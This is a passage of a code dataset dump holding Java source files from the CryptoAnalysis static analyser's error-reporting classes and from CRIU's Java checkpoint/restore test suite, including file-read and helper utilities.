\");\n\t\t\tmsg.append(evaluateCompOp(brokenCompCons.getOperator()));\n\t\t\tmsg.append(brokenCompCons.getRight().getLeft().getName());\n\t\t} else if (brokenConstraint instanceof CrySLConstraint) {\n\t\t\tfinal CrySLConstraint crySLConstraint = (CrySLConstraint) brokenConstraint;\n\t\t\tfinal ISLConstraint leftSide = crySLConstraint.getLeft();\n\t\t\tfinal ISLConstraint rightSide = crySLConstraint.getRight();\n\t\t\tswitch (crySLConstraint.getOperator()) {\n\t\t\t\tcase and:\n\t\t\t\t\tmsg.append(evaluateBrokenConstraint(leftSide));\n\t\t\t\t\tmsg.append(\" or \");\n\t\t\t\t\tmsg.append(evaluateBrokenConstraint(rightSide));\n\t\t\t\t\tbreak;\n\t\t\t\tcase implies:\n\t\t\t\t\tmsg.append(evaluateBrokenConstraint(rightSide));\n\t\t\t\t\tbreak;\n\t\t\t\tcase or:\n\t\t\t\t\tmsg.append(evaluateBrokenConstraint(leftSide));\n\t\t\t\t\tmsg.append(\" and \");\n\t\t\t\t\tmsg.append(evaluateBrokenConstraint(rightSide));\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\tbreak;\n\t\t\t}\n\n\t\t}\n\t\treturn msg.toString();\n\t}\n\n\tprivate String evaluateCompOp(CompOp operator) {\n\t\tswitch (operator) {\n\t\t\tcase ge:\n\t\t\t\treturn \" at least \";\n\t\t\tcase g:\n\t\t\t\treturn \" greater than \";\n\t\t\tcase l:\n\t\t\t\treturn \" lesser than \";\n\t\t\tcase le:\n\t\t\t\treturn \" at most \";\n\t\t\tdefault:\n\t\t\t\treturn \"equal to\";\n\t\t}\n\t}\n\n\tprivate String evaluateValueConstraint(final CrySLValueConstraint brokenConstraint) {\n\t\tStringBuilder msg = new StringBuilder();\n\t\tmsg.append(\" should be any of \");\n\t\tCrySLSplitter splitter = brokenConstraint.getVar().getSplitter();\n\t\tif (splitter != null) {\n\t\t\tStmt stmt = callSiteWithParamIndex.getVal().stmt().getUnit().get();\n\t\t\tString[] splitValues = new String[] { \"\" };\n\t\t\tif (stmt instanceof AssignStmt) {\n\t\t\t\tValue rightSide = ((AssignStmt) stmt).getRightOp();\n\t\t\t\tif (rightSide instanceof Constant) {\n\t\t\t\t\tsplitValues = filterQuotes(rightSide.toString()).split(splitter.getSplitter());\n\t\t\t\t} else if (rightSide instanceof AbstractInvokeExpr) {\n\t\t\t\t\tList args = ((AbstractInvokeExpr) rightSide).getArgs();\n\t\t\t\t\tfor (Value arg : args) {\n\t\t\t\t\t\tif (arg.getType().toQuotedString().equals(brokenConstraint.getVar().getJavaType())) {\n\t\t\t\t\t\t\tsplitValues = filterQuotes(arg.toString()).split(splitter.getSplitter());\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tsplitValues = filterQuotes(stmt.getInvokeExpr().getUseBoxes().get(0).getValue().toString()).split(splitter.getSplitter());\n\t\t\t}\n\t\t\tif (splitValues.length >= splitter.getIndex()) {\n\t\t\t\tfor (int i = 0; i < splitter.getIndex(); i++) {\n\t\t\t\t\tmsg.append(splitValues[i]);\n\t\t\t\t\tmsg.append(splitter.getSplitter());\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tmsg.append(\"{\");\n\t\tfor (final String val : brokenConstraint.getValueRange()) {\n\t\t\tif (val.isEmpty()) {\n\t\t\t\tmsg.append(\"Empty String\");\n\t\t\t} else {\n\t\t\t\tmsg.append(val);\n\t\t\t}\n\t\t\tmsg.append(\", \");\n\t\t}\n\t\tmsg.delete(msg.length() - 2, msg.length());\n\t\treturn msg.append('}').toString();\n\t}\n\tpublic static String filterQuotes(final String dirty) {\n\t\treturn CharMatcher.anyOf(\"\\\"\").removeFrom(dirty);\n\t}\n\t\n\t@Override\n\tpublic int hashCode() {\n\t\tfinal int paramIndex = callSiteWithParamIndex.getCallSite().getIndex();\n\t\tfinal Value parameterValue = callSiteWithParamIndex.getVal().getValue();\n\t\tfinal int prime = 31;\n\t\tint result = super.hashCode();\n\t\tresult = prime * result + paramIndex;\n\t\tresult = prime * result + ((parameterValue == null) ? 0 : parameterValue.hashCode());\n\t\treturn result;\n\t}\n\n\t@Override\n\tpublic boolean equals(Object obj) {\n\t\tif (this == obj)\n\t\t\treturn true;\n\t\tif (!super.equals(obj))\n\t\t\treturn false;\n\t\tif (getClass() != obj.getClass())\n\t\t\treturn false;\n\t\tConstraintError other = (ConstraintError) obj;\n\t\tif (callSiteWithParamIndex.getCallSite().getIndex() != other.callSiteWithParamIndex.getCallSite().getIndex()) {\n\t\t\treturn false;\n\t\t} \n\t\tif (callSiteWithParamIndex.getVal().getValue() == null) {\n\t\t\tif (other.callSiteWithParamIndex.getVal().getValue() != null)\n\t\t\t\treturn false;\n\t\t} else if (!callSiteWithParamIndex.getVal().getValue().equals(other.callSiteWithParamIndex.getVal().getValue()))\n\t\t\treturn false;\n\t\treturn true;\n\t}\n}\n"},"file_length":{"kind":"number","value":7023,"string":"7,023"},"avg_line_length":{"kind":"number","value":31.822429906542055,"string":"31.82243"},"max_line_length":{"kind":"number","value":126,"string":"126"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":293,"cells":{"repo":{"kind":"string","value":"CryptoAnalysis"},"file":{"kind":"string","value":"CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/analysis/errors/ErrorVisitor.java"},"code":{"kind":"string","value":"package crypto.analysis.errors;\n\npublic interface ErrorVisitor {\n\tpublic void visit(ConstraintError constraintError);\n\tpublic void visit(ForbiddenMethodError abstractError);\n\tpublic void visit(IncompleteOperationError incompleteOperationError);\n\tpublic void visit(TypestateError typestateError);\n\tpublic void visit(RequiredPredicateError predicateError);\n\tpublic void visit(ImpreciseValueExtractionError predicateError);\n\tpublic void visit(NeverTypeOfError predicateError);\n\tpublic void visit(PredicateContradictionError predicateContradictionError);\n\tpublic void visit(HardCodedError hardcodedError);\n}\n"},"file_length":{"kind":"number","value":604,"string":"604"},"avg_line_length":{"kind":"number","value":42.214285714285715,"string":"42.214286"},"max_line_length":{"kind":"number","value":76,"string":"76"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":294,"cells":{"repo":{"kind":"string","value":"CryptoAnalysis"},"file":{"kind":"string","value":"CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/analysis/errors/ErrorWithObjectAllocation.java"},"code":{"kind":"string","value":"package crypto.analysis.errors;\n\nimport java.util.Set;\n\nimport boomerang.jimple.Statement;\nimport boomerang.jimple.Val;\nimport crypto.analysis.IAnalysisSeed;\nimport crypto.rules.CrySLRule;\nimport sync.pds.solver.nodes.Node;\n\npublic abstract class ErrorWithObjectAllocation extends AbstractError{\n\tprivate final IAnalysisSeed objectAllocationLocation;\n\n\tpublic ErrorWithObjectAllocation(Statement errorLocation, CrySLRule rule, IAnalysisSeed objectAllocationLocation) {\n\t\tsuper(errorLocation, rule);\n\t\tthis.objectAllocationLocation = objectAllocationLocation;\n\t}\n\n\tpublic IAnalysisSeed getObjectLocation(){\n\t\treturn objectAllocationLocation;\n\t}\n\n\tprotected String getObjectType() {\n\t\tif(this.objectAllocationLocation.asNode().fact() != null && this.objectAllocationLocation.asNode().fact().value() != null)\n\t\t\treturn \" on object of type \" + this.objectAllocationLocation.asNode().fact().value().getType();\n\t\treturn \"\";\n\t}\n\t\n\tpublic Set> getDataFlowPath(){\n\t\treturn objectAllocationLocation.getDataFlowPath();\n\t}\n}\n"},"file_length":{"kind":"number","value":1034,"string":"1,034"},"avg_line_length":{"kind":"number","value":30.363636363636363,"string":"30.363636"},"max_line_length":{"kind":"number","value":124,"string":"124"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":295,"cells":{"repo":{"kind":"string","value":"CryptoAnalysis"},"file":{"kind":"string","value":"CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/analysis/errors/ForbiddenMethodError.java"},"code":{"kind":"string","value":"package crypto.analysis.errors;\n\nimport java.util.Collection;\nimport java.util.Set;\n\nimport com.google.common.base.Joiner;\nimport com.google.common.collect.Sets;\n\nimport boomerang.jimple.Statement;\nimport crypto.rules.CrySLRule;\nimport soot.SootMethod;\n\npublic class ForbiddenMethodError extends AbstractError {\n\n\tprivate Collection alternatives;\n\tprivate SootMethod calledMethod;\n\tprivate Set alternativesSet = Sets.newHashSet();\n\n\tpublic ForbiddenMethodError(Statement errorLocation, CrySLRule rule, SootMethod calledMethod,\n\t\t\tCollection collection) {\n\t\tsuper(errorLocation, rule);\n\t\tthis.calledMethod = calledMethod;\n\t\tthis.alternatives = collection;\n\t\t\n\t\tfor (SootMethod method : alternatives) {\n\t\t\tthis.alternativesSet.add(method.getSignature());\n\t\t}\t\n\t}\n\n\tpublic Collection getAlternatives() {\n\t\treturn alternatives;\n\t}\n\n\tpublic void accept(ErrorVisitor visitor) {\n\t\tvisitor.visit(this);\n\t}\n\n\tpublic SootMethod getCalledMethod() {\n\t\treturn calledMethod;\n\t}\n\n\t@Override\n\tpublic String toErrorMarkerString() {\n\t\tfinal StringBuilder msg = new StringBuilder();\n\t\tmsg.append(\"Detected call to forbidden method \");\n\t\tmsg.append(getCalledMethod().getSubSignature());\n\t\tmsg.append(\" of class \" + getCalledMethod().getDeclaringClass());\n\t\tif (!getAlternatives().isEmpty()) {\n\t\t\tmsg.append(\". Instead, call method \");\n\t\t\tCollection subSignatures = getAlternatives();\n\t\t\tmsg.append(Joiner.on(\", \").join(subSignatures));\n\t\t\tmsg.append(\".\");\n\t\t}\n\t\treturn msg.toString();\n\t}\n\n\t@Override\n\tpublic int hashCode() {\n\t\tfinal int prime = 31;\n\t\tint result = super.hashCode();\n\t\tresult = prime * result + ((alternativesSet == null) ? 0 : alternativesSet.hashCode());\n\t\tresult = prime * result + ((calledMethod == null) ? 0 : calledMethod.getSignature().hashCode());\n\t\treturn result;\n\t}\n\n\t@Override\n\tpublic boolean equals(Object obj) {\n\t\tif (this == obj)\n\t\t\treturn true;\n\t\tif (!super.equals(obj))\n\t\t\treturn false;\n\t\tif (getClass() != obj.getClass())\n\t\t\treturn false;\n\t\tForbiddenMethodError other = (ForbiddenMethodError) obj;\n\t\tif (alternativesSet == null) {\n\t\t\tif (other.alternativesSet != null)\n\t\t\t\treturn false;\n\t\t} else if (!alternativesSet.equals(other.alternativesSet))\n\t\t\treturn false;\n\t\tif (calledMethod == null) {\n\t\t\tif (other.calledMethod != null)\n\t\t\t\treturn false;\n\t\t} else if (!calledMethod.getSignature().equals(other.calledMethod.getSignature()))\n\t\t\treturn false;\n\t\treturn true;\n\t}\n\n\n\t\n\n}\n"},"file_length":{"kind":"number","value":2443,"string":"2,443"},"avg_line_length":{"kind":"number","value":25.565217391304348,"string":"25.565217"},"max_line_length":{"kind":"number","value":98,"string":"98"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":296,"cells":{"repo":{"kind":"string","value":"CryptoAnalysis"},"file":{"kind":"string","value":"CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/analysis/errors/HardCodedError.java"},"code":{"kind":"string","value":"package crypto.analysis.errors;\n\nimport crypto.analysis.IAnalysisSeed;\nimport crypto.extractparameter.CallSiteWithExtractedValue;\nimport crypto.interfaces.ISLConstraint;\nimport crypto.rules.CrySLRule;\n\npublic class HardCodedError extends ConstraintError {\n\n\tpublic HardCodedError(CallSiteWithExtractedValue cs, CrySLRule rule, IAnalysisSeed objectLocation, ISLConstraint con) {\n\t\tsuper(cs, rule, objectLocation, con);\n\t}\n\n}\n"},"file_length":{"kind":"number","value":424,"string":"424"},"avg_line_length":{"kind":"number","value":27.333333333333332,"string":"27.333333"},"max_line_length":{"kind":"number","value":120,"string":"120"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":297,"cells":{"repo":{"kind":"string","value":"CryptoAnalysis"},"file":{"kind":"string","value":"CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/analysis/errors/IError.java"},"code":{"kind":"string","value":"package crypto.analysis.errors;\n\npublic interface IError {\n\t\n\tpublic void accept(ErrorVisitor visitor);\n\n}\n"},"file_length":{"kind":"number","value":107,"string":"107"},"avg_line_length":{"kind":"number","value":12.5,"string":"12.5"},"max_line_length":{"kind":"number","value":42,"string":"42"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":298,"cells":{"repo":{"kind":"string","value":"CryptoAnalysis"},"file":{"kind":"string","value":"CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/analysis/errors/ImpreciseValueExtractionError.java"},"code":{"kind":"string","value":"package crypto.analysis.errors;\n\nimport boomerang.jimple.Statement;\nimport crypto.interfaces.ISLConstraint;\nimport crypto.rules.CrySLRule;\n\npublic class ImpreciseValueExtractionError extends AbstractError {\n\n\tprivate ISLConstraint violatedConstraint;\n\n\tpublic ImpreciseValueExtractionError(ISLConstraint violatedCons, Statement errorLocation, CrySLRule rule) {\n\t\tsuper(errorLocation, rule);\n\t\tthis.violatedConstraint = violatedCons;\n\t}\n\n\t@Override\n\tpublic void accept(ErrorVisitor visitor) {\n\t\tvisitor.visit(this);\n\t}\n\n\tpublic ISLConstraint getViolatedConstraint() {\n\t\treturn violatedConstraint;\n\t}\n\n\t@Override\n\tpublic String toErrorMarkerString() {\n\t\tStringBuilder msg = new StringBuilder(\"Constraint \");\n\t\tmsg.append(violatedConstraint);\n\t\tmsg.append(\" could not be evaluted due to insufficient information.\");\n\t\treturn msg.toString();\n\t}\n\t\n\t@Override\n\tpublic int hashCode() {\n\t\tfinal int prime = 31;\n\t\tint result = super.hashCode();\n\t\tresult = prime * result + ((violatedConstraint == null) ? 0 : violatedConstraint.hashCode());\n\t\treturn result;\n\t}\n\n\t@Override\n\tpublic boolean equals(Object obj) {\n\t\tif (this == obj)\n\t\t\treturn true;\n\t\tif (!super.equals(obj))\n\t\t\treturn false;\n\t\tif (getClass() != obj.getClass())\n\t\t\treturn false;\n\t\tImpreciseValueExtractionError other = (ImpreciseValueExtractionError) obj;\n\t\tif (violatedConstraint == null) {\n\t\t\tif (other.violatedConstraint != null)\n\t\t\t\treturn false;\n\t\t} else if (!violatedConstraint.equals(other.violatedConstraint))\n\t\t\treturn false;\n\t\treturn true;\n\t}\n\n}\n"},"file_length":{"kind":"number","value":1509,"string":"1,509"},"avg_line_length":{"kind":"number","value":24.593220338983052,"string":"24.59322"},"max_line_length":{"kind":"number","value":108,"string":"108"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":299,"cells":{"repo":{"kind":"string","value":"CryptoAnalysis"},"file":{"kind":"string","value":"CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/analysis/errors/IncompleteOperationError.java"},"code":{"kind":"string","value":"package crypto.analysis.errors;\n\nimport java.util.Collection;\nimport java.util.HashSet;\nimport java.util.Set;\n\nimport com.google.common.base.Joiner;\nimport com.google.common.base.Optional;\nimport com.google.common.collect.Sets;\n\nimport boomerang.jimple.Statement;\nimport boomerang.jimple.Val;\nimport crypto.analysis.IAnalysisSeed;\nimport crypto.rules.CrySLRule;\nimport soot.SootMethod;\nimport soot.jimple.InvokeExpr;\nimport soot.jimple.Stmt;\n\n\n/** This class defines-IncompleteOperationError:\n *\n *Found when the usage of an object may be incomplete\n *\n *For example a Cipher object may be initialized but never been used for encryption or decryption, this may render the code dead.\n *This error heavily depends on the computed call graph (CHA by default)\n *\n * */\n\npublic class IncompleteOperationError extends ErrorWithObjectAllocation{\n\n\tprivate Val errorVariable;\n\tprivate Collection expectedMethodCalls;\n\tprivate Set expectedMethodCallsSet = Sets.newHashSet();\n\n\tpublic IncompleteOperationError(Statement errorLocation,\n\t\t\tVal errorVariable, CrySLRule rule, IAnalysisSeed objectLocation, Collection expectedMethodsToBeCalled) {\n\t\tsuper(errorLocation, rule, objectLocation);\n\t\tthis.errorVariable = errorVariable;\n\t\tthis.expectedMethodCalls = expectedMethodsToBeCalled;\t\n\t\t\n\t\tfor (SootMethod method : expectedMethodCalls) {\n\t\t\tthis.expectedMethodCallsSet.add(method.getSignature());\n\t\t}\t\n\t}\n\n\tpublic Val getErrorVariable() {\n\t\treturn errorVariable;\n\t}\n\t\n\tpublic Collection getExpectedMethodCalls() {\n\t\treturn expectedMethodCalls;\n\t}\n\t\n\tpublic void accept(ErrorVisitor visitor){\n\t\tvisitor.visit(this);\n\t}\n\n\t@Override\n\tpublic String toErrorMarkerString() {\n\t\tCollection expectedCalls = getExpectedMethodCalls();\n\t\tfinal StringBuilder msg = new StringBuilder();\n\t\tmsg.append(\"Operation\");\n\t\tmsg.append(getObjectType());\n\t\tmsg.append(\" object not completed. Expected call to \");\n\t\tfinal Set altMethods = new HashSet<>();\n\t\tfor (final SootMethod expectedCall : expectedCalls) {\n\t\t\tif (stmtInvokesExpectedCallName(expectedCall.getName())){\n\t\t\t\taltMethods.add(expectedCall.getSignature().replace(\"<\", \"\").replace(\">\", \"\"));\n\t\t\t} else {\n\t\t\t\taltMethods.add(expectedCall.getName().replace(\"<\", \"\").replace(\">\", \"\"));\n\t\t\t}\n\t\t}\n\t\tmsg.append(Joiner.on(\", \").join(altMethods));\n\t\treturn msg.toString();\n\t}\n\n\t/**\n\t * This method checks whether the statement at which the error is located already calls a method with the same name.\n\t * This occurs when a call to the method with the correct name, but wrong signature is invoked.\n\t */\n\tprivate boolean stmtInvokesExpectedCallName(String expectedCallName){\n\t\tStatement errorLocation = getErrorLocation();\n\t\tif (errorLocation.isCallsite()){\n\t\t\tOptional stmtOptional = errorLocation.getUnit();\n\t\t\tif (stmtOptional.isPresent()){\n\t\t\t\tStmt stmt = stmtOptional.get();\n\t\t\t\tif (stmt.containsInvokeExpr()){\n\t\t\t\t\tInvokeExpr call = stmt.getInvokeExpr();\n\t\t\t\t\tSootMethod calledMethod = call.getMethod();\n\t\t\t\t\tif (calledMethod.getName().equals(expectedCallName)){\n\t\t\t\t\t\treturn true;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}\n\t\n\t@Override\n\tpublic int hashCode() {\n\t\tfinal int prime = 31;\n\t\tint result = super.hashCode();\n\t\tresult = prime * result + ((expectedMethodCallsSet == null) ? 0 : expectedMethodCallsSet.hashCode());\n\t\treturn result;\n\t}\n\n\t@Override\n\tpublic boolean equals(Object obj) {\n\t\tif (this == obj)\n\t\t\treturn true;\n\t\tif (!super.equals(obj))\n\t\t\treturn false;\n\t\tif (getClass() != obj.getClass())\n\t\t\treturn false;\n\t\tIncompleteOperationError other = (IncompleteOperationError) obj;\n\t\tif (expectedMethodCalls == null) {\n\t\t\tif (other.expectedMethodCalls != null)\n\t\t\t\treturn false;\n\t\t} else if (expectedMethodCallsSet != other.expectedMethodCallsSet)\n\t\t\treturn false;\n\t\t\n\t\treturn true;\n\t}\n\t\n\tprivate int expectedMethodCallsHashCode(Collection expectedMethodCalls) {\t\t\n\t\tSet expectedMethodCallsSet = Sets.newHashSet();\n\t\tfor (SootMethod method : expectedMethodCalls) {\n\t\t\texpectedMethodCallsSet.add(method.getSignature());\n\t\t}\n\t\treturn expectedMethodCallsSet.hashCode();\n\t}\n\t\n\t\n}\n"},"file_length":{"kind":"number","value":4096,"string":"4,096"},"avg_line_length":{"kind":"number","value":29.348148148148148,"string":"29.348148"},"max_line_length":{"kind":"number","value":129,"string":"129"},"extension_type":{"kind":"string","value":"java"}}}],"truncated":false,"partial":false},"paginationData":{"pageIndex":2,"numItemsPerPage":100,"numTotalItems":615001,"offset":200,"length":100}},"jwt":"eyJhbGciOiJFZERTQSJ9.eyJyZWFkIjp0cnVlLCJwZXJtaXNzaW9ucyI6eyJyZXBvLmNvbnRlbnQucmVhZCI6dHJ1ZX0sImlhdCI6MTc1NjQwNjczNCwic3ViIjoiL2RhdGFzZXRzL0FsZ29yaXRobWljUmVzZWFyY2hHcm91cC9hcnhpdl9qYXZhX3Jlc2VhcmNoX2NvZGUiLCJleHAiOjE3NTY0MTAzMzQsImlzcyI6Imh0dHBzOi8vaHVnZ2luZ2ZhY2UuY28ifQ.6hC2PQEGdbdkBltG4D6ck5D7g8AblyLlRkL3gelPwV4ayOvIYXHCfjkNImRjm8M-vZ_6PC61kCmwxPW8sY0CBA","displayUrls":true},"discussionsStats":{"closed":0,"open":0,"total":0},"fullWidth":true,"hasGatedAccess":true,"hasFullAccess":true,"isEmbedded":false,"savedQueries":{"community":[],"user":[]}}">
repo
stringlengths
1
191
file
stringlengths
23
351
code
stringlengths
0
5.32M
file_length
int64
0
5.32M
avg_line_length
float64
0
2.9k
max_line_length
int64
0
288k
extension_type
stringclasses
1 value
criu
criu-master/test/javaTests/src/org/criu/java/tests/FileRead.java
package org.criu.java.tests; import java.io.*; import java.lang.management.ManagementFactory; import java.lang.management.RuntimeMXBean; import java.nio.MappedByteBuffer; import java.nio.channels.FileChannel; import java.nio.channels.FileChannel.MapMode; import java.nio.file.StandardOpenOption; import java.util.logging.Level; import java.util.logging.Logger; class FileRead { private static String TESTNAME = "FileRead"; /** * @param i int value denoting the line number. * @return The line as a string. */ private static String getLine(int i) { return "Line No: " + i + "\n"; } /** * Write in a file, line by line, and read it, checkpoint and restore * and then continue to read and write the file. * * @param args Not used */ public static void main(String[] args) { MappedByteBuffer b = null; Logger logger = null; int wi, ri = 0; try { File file = new File(Helper.OUTPUT_FOLDER_NAME + "/" + TESTNAME + "/FileRead_write.txt"); File f = new File(Helper.MEMORY_MAPPED_FILE_NAME); logger = Logger.getLogger(Helper.PACKAGE_NAME + "." + TESTNAME); RuntimeMXBean bean = ManagementFactory.getRuntimeMXBean(); String pid = bean.getName(); int val = Helper.init(TESTNAME, pid, logger); if (0 != val) { logger.log(Level.SEVERE, "Helper.init returned a non-zero code."); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); System.exit(1); } logger.log(Level.INFO, "Test init done; pid written to pid file; beginning with test"); FileChannel channel = FileChannel.open(f.toPath(), StandardOpenOption.READ, StandardOpenOption.WRITE, StandardOpenOption.CREATE); b = channel.map(MapMode.READ_WRITE, 0, Helper.MAPPED_REGION_SIZE); channel.close(); /* * Mapped Byte Buffer should be in init state at the beginning of test */ if (Helper.STATE_INIT != b.getChar(Helper.MAPPED_INDEX)) { logger.log(Level.SEVERE, "Error: Error in memory mapping, test is not in init state"); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); System.exit(1); } logger.log(Level.INFO, "Checking existence of file to be read and written to."); if (file.exists()) { file.delete(); } boolean newFile = file.createNewFile(); if (!newFile) { logger.log(Level.SEVERE, "Cannot create a new file to read and write to."); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); System.exit(1); } BufferedWriter brw = new BufferedWriter(new FileWriter(file)); BufferedReader brr = new BufferedReader(new FileReader(file)); logger.log(Level.INFO, "Start writing the lines in file"); for (wi = 1; wi <= 5; wi++) { brw.write(getLine(wi)); } brw.flush(); String s = "Line No: 0"; int i; for (i = 0; i < 50; i++) { brw.write(getLine(wi)); brw.flush(); wi++; s = brr.readLine(); ri = Integer.parseInt(s.replaceAll("[\\D]", "")); } wi--; logger.log(Level.INFO, "Going to checkpoint"); /* * Checkpoint and wait for restore */ Helper.checkpointAndWait(b, logger); logger.log(Level.INFO, "Test has been restored!"); brw.flush(); try { s = brr.readLine(); } catch (Exception e) { logger.log(Level.SEVERE, "Error: Buffered Reader is not reading file"); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } if (null == s || s.isEmpty()) { logger.log(Level.SEVERE, "Error: Error while reading lines after restore: Line read is null"); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } int readLineNo = Integer.parseInt(s.replaceAll("[\\D]", "")); if (ri + 1 != readLineNo) { logger.log(Level.SEVERE, "Error: Not reading at correct line"); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } String ch = brr.readLine(); while (null != ch && !ch.isEmpty()) { s = ch; ch = brr.readLine(); } readLineNo = Integer.parseInt(s.replaceAll("[\\D]", "")); if (readLineNo != wi) { logger.log(Level.SEVERE, "Error: Data written has been lost"); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } try { brw.write(getLine(wi + 1)); brw.flush(); } catch (IOException e) { logger.log(Level.SEVERE, "Error: cannot write file after restore"); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } s = brr.readLine(); readLineNo = Integer.parseInt(s.replaceAll("[\\D]", "")); if (readLineNo != wi + 1) { logger.log(Level.SEVERE, "Error: Data not written correctly"); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } logger.log(Level.INFO, "File is being read and written to correctly after restore!"); logger.log(Level.INFO, Helper.PASS_MESSAGE); brw.close(); brr.close(); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_PASS); System.exit(0); } catch (Exception e) { if (null != logger) { StringWriter writer = new StringWriter(); PrintWriter printWriter = new PrintWriter(writer); e.printStackTrace(printWriter); logger.log(Level.SEVERE, "Exception occurred:" + e); logger.log(Level.FINE, writer.toString()); } if (null != b) { b.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); } System.exit(5); } } }
5,283
29.022727
132
java
criu
criu-master/test/javaTests/src/org/criu/java/tests/Helper.java
package org.criu.java.tests; import java.io.*; import java.nio.MappedByteBuffer; import java.util.logging.FileHandler; import java.util.logging.Level; import java.util.logging.Logger; import java.util.logging.SimpleFormatter; class Helper { static String MEMORY_MAPPED_FILE_NAME = "output/file"; static String PASS_MESSAGE = "Test was a Success!!!"; static String OUTPUT_FOLDER_NAME = "output"; static String PACKAGE_NAME = "org.criu.java.tests"; static String PID_APPEND = ".pid"; static String SOURCE_FOLDER = "src/org/criu/java/tests"; static String LOG_FOLDER = "CRlogs"; static int MAPPED_REGION_SIZE = 100; static int MAPPED_INDEX = 1; static char STATE_RESTORE = 'R'; static char STATE_CHECKPOINT = 'C'; static char STATE_INIT = 'I'; static char STATE_TERMINATE = 'T'; static char STATE_END = 'E'; static char STATE_FAIL = 'F'; static char STATE_PASS = 'P'; /** * Create a new log file and pidfile and write * the pid to the pidFile. * * @param testName Name of the java test * @param pid Pid of the java test process * @param logger * @return 0 or 1 denoting whether the function was successful or not. * @throws IOException */ static int init(String testName, String pid, Logger logger) throws IOException { File pidfile = new File(OUTPUT_FOLDER_NAME + "/" + testName + "/" + testName + PID_APPEND); FileHandler handler = new FileHandler(Helper.OUTPUT_FOLDER_NAME + "/" + testName + "/" + testName + ".log", false); handler.setFormatter(new SimpleFormatter()); handler.setLevel(Level.FINE); logger.addHandler(handler); logger.setLevel(Level.FINE); /* * Create a pid file and write the process's pid into it. */ if (pidfile.exists()) { pidfile.delete(); } boolean newFile = pidfile.createNewFile(); if (!newFile) { logger.log(Level.SEVERE, "Cannot create new pid file."); return 1; } BufferedWriter pidWriter = new BufferedWriter(new FileWriter(pidfile)); pidWriter.write(pid + "\n"); pidWriter.close(); return 0; } /** * Put the Mapped Buffer to 'Ready to be checkpointed' state and wait for restore. * * @param b The MappedByteBuffer from the calling process. * @param logger The Logger from the calling process. */ static void checkpointAndWait(MappedByteBuffer b, Logger logger) { b.putChar(Helper.MAPPED_INDEX, Helper.STATE_CHECKPOINT); char c = b.getChar(Helper.MAPPED_INDEX); /* * Loop while MappedByteBuffer is in 'To be checkpointed' state */ while (Helper.STATE_CHECKPOINT == c) { c = b.getChar(Helper.MAPPED_INDEX); } /* * Test is in 'T' state if some error or exception occurs during checkpoint or restore. */ if (Helper.STATE_TERMINATE == c) { logger.log(Level.SEVERE, "Error during checkpoint-restore, Test terminated"); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } /* * The expected state of MappedByteBuffer is Helper.STATE_RESTORE-restored state. */ if (Helper.STATE_RESTORE != c) { logger.log(Level.INFO, "Error: Test state is not the expected Restored state"); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } } /** * Compare two files and return true if their content is similar. * * @param readFile File 1 whose content has to be compared. * @param writeFile File 2 whose content has to be compared. * @return true if the files are similar, false otherwise. * @throws IOException */ static boolean compare(File readFile, File writeFile) throws IOException { BufferedReader bir = new BufferedReader(new FileReader(readFile)); BufferedReader bor = new BufferedReader(new FileReader(writeFile)); String si, so; si = bir.readLine(); so = bor.readLine(); while (null != si && null != so) { if (!si.equals(so)) { return false; } si = bir.readLine(); so = bor.readLine(); } if ((null == si) && (null == so)) { return true; } bir.close(); bor.close(); return false; } }
3,976
29.358779
117
java
criu
criu-master/test/javaTests/src/org/criu/java/tests/ImgFilter.java
package org.criu.java.tests; import java.io.File; import java.io.FilenameFilter; class ImgFilter implements FilenameFilter { @Override public boolean accept(File dir, String fileName) { return (fileName.endsWith(".img")); } }
233
18.5
51
java
criu
criu-master/test/javaTests/src/org/criu/java/tests/MemoryMappings.java
package org.criu.java.tests; import java.io.*; import java.lang.management.ManagementFactory; import java.lang.management.RuntimeMXBean; import java.nio.MappedByteBuffer; import java.nio.channels.FileChannel; import java.nio.channels.FileChannel.MapMode; import java.nio.file.StandardOpenOption; import java.util.logging.Level; import java.util.logging.Logger; class MemoryMappings { private static String TESTNAME = "MemoryMappings"; /** * Map a file to memory and write the mapped data into a file, * checkpointing and restoring in between. * * @param args Not used */ public static void main(String[] args) { MappedByteBuffer b = null; Logger logger = null; try { MappedByteBuffer testBuffer; char ch; int i = 1; boolean similar; logger = Logger.getLogger(Helper.PACKAGE_NAME + "." + TESTNAME); File f = new File(Helper.MEMORY_MAPPED_FILE_NAME); File readFile = new File(Helper.SOURCE_FOLDER + "/" + "ReadWrite.java"); File writeFile = new File(Helper.OUTPUT_FOLDER_NAME + "/" + TESTNAME + "/" + 